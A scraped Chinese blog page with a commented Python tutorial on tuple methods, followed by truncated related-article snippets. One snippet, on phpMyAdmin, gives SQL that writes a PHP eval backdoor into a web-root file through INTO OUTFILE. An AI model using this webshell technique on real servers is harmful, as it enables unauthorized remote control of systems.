tuple 方法总结整理

#!/usr/bin/env python
#Python 3.7.0 元祖常用方法
__author__ = "lrtao2010"

#元祖和列表类似,只不过元祖一旦被创建一级元素不可更改(增删改)。

# a = (‘123‘,[‘abc‘],‘b‘,345,[‘6‘,‘7‘,‘d‘],)
# a[-1][2] = ‘c‘
# print(a)
# a[-1].append(123)
# print(a)
# (‘123‘, [‘abc‘], ‘b‘, 345, [‘6‘, ‘7‘, ‘c‘])
# (‘123‘, [‘abc‘], ‘b‘, 345, [‘6‘, ‘7‘, ‘c‘, 123])

# a = (‘123‘,[‘abc‘],‘b‘,345,[‘6‘,‘7‘,‘d‘],)
# a[0] = ‘456‘
# print(a)
#     a[0] = ‘456‘
# TypeError: ‘tuple‘ object does not support item assignment

#a = (‘123‘,‘a‘,123,[‘a‘,‘b‘,‘c‘],)
#元祖最后一个元素后面一般加上‘,‘号

# a = (‘123‘,[‘abc‘],‘b‘,345,[‘6‘,‘7‘,‘d‘],)
# v1 = a[1]
# v2 = a[2:]
# v3 = a[1:-1]
# print(v1)
# print(v2)
# print(v3)
# [‘abc‘]
# (‘b‘, 345, [‘6‘, ‘7‘, ‘d‘])
# ([‘abc‘], ‘b‘, 345)

#可迭代
# a = (‘123‘,[‘abc‘],‘b‘,345,[‘6‘,‘7‘,‘d‘],)
# for i in a:
#     print(i)
#
# 123
# [‘abc‘]
# b
# 345
# [‘6‘, ‘7‘, ‘d‘]

#count 统计指定值出现的次数
# a = (‘a‘,‘b‘,‘a‘,[‘a‘,‘b‘,‘ab‘],‘ab‘,)
# v1 = a.count(‘a‘)
# v2 = a[3].count(‘b‘)
# print(v1,v2)
# 2 1

# index(self, *args, **kwargs)查找指定值的位置,不存在会报错
# a = (‘a‘,‘b‘)
# v = a.index(‘b‘)
# print(v)
# 1

原文地址:https://www.cnblogs.com/lrtao2010/p/9286277.html

时间: 2024-10-12 02:26:26

tuple 方法总结整理的相关文章

编程中遇到的Python错误和解决方法汇总整理

这篇文章主要介绍了自己编程中遇到的Python错误和解决方法汇总整理,本文收集整理了较多的案例,需要的朋友可以参考下 开个贴,用于记录平时经常碰到的Python的错误同时对导致错误的原因进行分析,并持续更新,方便以后查询,学习.知识在于积累嘛!微笑+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++错误: 复制代码代码如下: >>> def f(x, y):      print x, y  >>> t

CentOS yum源设定使用方法的整理(转)

CentOS yum更新了很多版本更新,我本人认为CentOS yum很好使的文件系统,在此向大家推荐CentOS应该是做为服务器的linux的佼佼者.CentOS采用的二进制包是rpm,不过包的依赖性解决有时候却是个问题. 我比较喜欢debian的apt,非常方便.以前以为RedHat linux没这么方便,后来发现CentOS yum是个不错的东西.CentOS yum的使用和apt有几分相似,这样一来对于许多包的安装就方便多了. 这篇文章主要讲两点内容,一是CentOS yum使用方法的整

在phpmyadmin后台获取webshell方法汇总整理

方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>'); SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php'; ----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xia

Python数据类型方法精心整理,不必死记硬背,看看源码一切都有了

Python认为一切皆为对象:比如我们初始化一个list时: li = list('abc') 实际上是实例化了内置模块builtins(python2中为__builtin__模块)中的list类: class list(object): def __init__(self, seq=()): # known special case of list.__init__ """ list() -> new empty list list(iterable) ->

Tuple方法

组元是C# 4.0引入的一个新特性,编写的时候需要基于.NET Framework 4.0或者更高版本.组元使用泛型来简化一个类的定义. public class Point { public int X { get; set; } public int Y { get; set; } } //the user customer data type. Point p = new Point() { X = 10, Y = 20 }; //use the predefine generic tup

Win32 API中的user32.dll中的ShowWindow方法参数整理

在使用ShowWindow方法来设置窗体的状态时,由于不知道参数值,用起来非常容易混乱,所以整理了以下其参数的枚举值,方便以后的的使用.   public class User32API { #region ShowWindow 方法窗体状态的参数枚举 /// <summary> /// 隐藏窗口并激活其他窗口 /// </summary> public const int SW_HIDE = 0; /// <summary> /// 激活并显示一个窗口.如果窗口被最小

str 方法总结整理

#!/usr/bin/env python #Python 3 字符串常用方法 __author__ = "lrtao2010" #capitalize 将字符串的首字符改为大写 # a = "lrtao" # v = a.capitalize() # print(v) # Lrtao #casefold 将字符串所有字符改为小写,功能强大 # a = "LrTao" # v = a.casefold() # print(v) # lrtao #

ubuntu使用中遇到问题及解决方法持续整理

试图双击deb文件进行安装,点击install 按钮,提示“This software comes from a 3rd party and may contain non-free components”. 打开Terminal,输入以下命令: sudo apt install gdebi 安装完成后,将deb文件默认打开方式设为gdebi: 右键点击deb文件,打开properties,选择open with,选中GDebi Package Installer. 并Set as defaul

关于跨域的处理的几种方法的整理

跨域是经常遇到的这里不再说跨域什么意思了,协议不同,端口不同,域名不同是为跨域: 解决方法: 1,后台设置代理,比如把上海有个服务器,我北京相用,可以北京后台代理, 2,前端采取jsop来获取数据 代码示例:此处后台是node.js简单实现,页面端口localhost:3020 前端:$(function(){ $("#btn").click(function(){ $.ajax({ method:"get", url:"http://127.0.0.1: